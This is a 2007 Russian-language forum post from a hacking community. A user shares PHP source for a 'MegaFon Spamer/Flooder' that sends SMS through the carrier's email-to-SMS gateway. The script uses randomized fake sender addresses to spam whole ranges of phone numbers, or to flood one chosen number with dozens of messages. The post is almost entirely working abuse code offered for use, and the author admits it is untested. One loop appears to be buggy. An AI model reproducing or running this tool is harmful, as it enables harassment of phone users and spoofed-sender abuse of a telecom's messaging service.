|
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме: 6023777
Репутация:
2642
|
|
MegaFon ::: Spamer ::: Flooder
Только что написал.. Вроде должен работать, а так не проверял.
PHP код:
<?
#(c) NOmeR1
if(!set_time_limit(0)) { $limit = false; }
else { set_time_limit(0); ignore_user_abort(1); $limit = true; }
$lockfile = 'lock.lock'; //Если в каталоге этот файл, то флуд и спам перестают работать
$spisok = 'spisok.txt'; //Файл списка номеров для спама
$log = 'log.txt'; //Файл лога
$symb = 'QWERTYUIOPADFGHJKLZXCVBNM';
$mails = array('mail.ru', 'inbox.ru', 'bk.ru', 'list.ru', 'gmail.com', 'gmail.ru');
?>
<title>MegaFon ::: Spamer ::: Flooder</title>
<?
if($_GET['spam'] == '1')
{
if($_POST['from'] && $_POST['to'] && $_POST['msg'] && $_POST['from'] < $_POST['to'])
{
for($i=$_POST['from'];$i<=$_POST['to'];$i++)
{
if(file_exists($lockfile))
{
echo('Файл блокирования найден'); break;
}
$i = '7'.substr($i, 1);
$from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)];
mail($i.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс');
if($_POST['logs'] == '1')
{
$f = fopen($log,'a') or die('Не возможно открыть файл лога');
fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$i."\r\n") or die('Не возможно записать в файл лога');
fclose($f);
}
sleep(7);
}
echo('<font color=YellowGreen>Завершено успешно</font><br>');
}
if($_POST['spisok'] == '1' && $_POST['msg'])
{
$file = file($spisok);
for($i=0;$i<count($file);$i++)
{
if(file_exists($lockfile))
{
echo('Файл блокирования найден'); break;
}
$file[$i] = $mobile;
$mobile = preg_replace('/[^0-9]/','',$mobile);
$mobile = '7'.substr($mobile, 1);
$from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)];
mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс');
if($_POST['logs'] == '1')
{
$f = fopen($log,'a') or die('Не возможно открыть файл лога');
fwrite($f, 'Spam ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога');
fclose($f);
}
sleep(7);
}
echo('<font color=YellowGreen>Завершено успешно</font><br>');
}
else
{
?>
Файл списка (<?=$spisok?>) <?if(is_writable($spisok)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br>
Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br>
Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br>
<form method='post' style='width:300'>
Начало: <input type='text' name='from' value='79030000000'><br>
Конец: <input type='text' name='to' value='79030000500'><br>
Использовать список? <input type='checkbox' name='spisok' value='1'> - <?=$spisok?><br>
Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br>
<textarea name='msg' rows='5' cols='30'></textarea><br>
<input type='submit'>
</form>
<?
}
}
elseif($_GET['flood'] == '1')
{
if(!set_time_limit(0)) { $limit = false; }
else { set_time_limit(0); ignore_user_abort(1); $limit = true; }
if($_POST['mob'] && $_POST['kol'] && $_POST['msg'])
{
$file = file($spisok);
for($i=0;$i<$_POST['kol'];$i++)
{
if(file_exists($lockfile))
{
echo('Файл блокирования найден'); break;
}
$mobile = $_POST['mob'];
$mobile = preg_replace('/[^0-9]/','',$mobile);
$mobile = '7'.substr($mobile, 1);
$from = $symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.$symb{rand(0,strlen($symb)-1)}.'@'.$mails[rand(0,count($mails)-1)];
mail($mobile.'@sms.mgsm.ru', '', $_POST['msg'], "From: ".$from."\r\n") or die('Не возможно отправить смс');
sleep(7);
}
if($_POST['logs'] == '1')
{
$f = fopen($log,'a') or die('Не возможно открыть файл лога');
fwrite($f, 'Flood ::: '.strftime('%d.%m.%y %H:%M:%S').' ::: '.$mobile."\r\n") or die('Не возможно записать в файл лога');
fclose($f);
}
echo('<font color=YellowGreen>Завершено успешно</font><br>');
}
else
{
?>
Файл лога (<?=$log?>) <?if(is_writable($log)) echo('<font color=YellowGreen>доступен для записи</font>'); else echo('<font color=Red>не доступен для записи</font>');?><br>
Файл блокировки (<?=$lockfile?>) <?if(file_exists($lockfile)) echo('<font color=Red>создан</font>'); else echo('<font color=YellowGreen>не создан</font>');?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br>
<form method='post' style='width:300'>
Номер: <input type='text' name='mob' value='79030000000'><br>
Количество СМС: <input type='text' name='kol' value='50'><br>
Вести лог? <input type='checkbox' name='logs' value='1' checked> - <?=$log?><br>
<textarea name='msg' rows='5' cols='30'></textarea><br>
<input type='submit'>
</form>
<?
}
}
?>
<a href='<?=$_SERVER["PHP_SELF"]?>?spam=1'>Спам</a><br>
<a href='<?=$_SERVER["PHP_SELF"]?>?flood=1'>Флуд</a>
Последний раз редактировалось NOmeR1; 08.09.2007 в 14:16..
|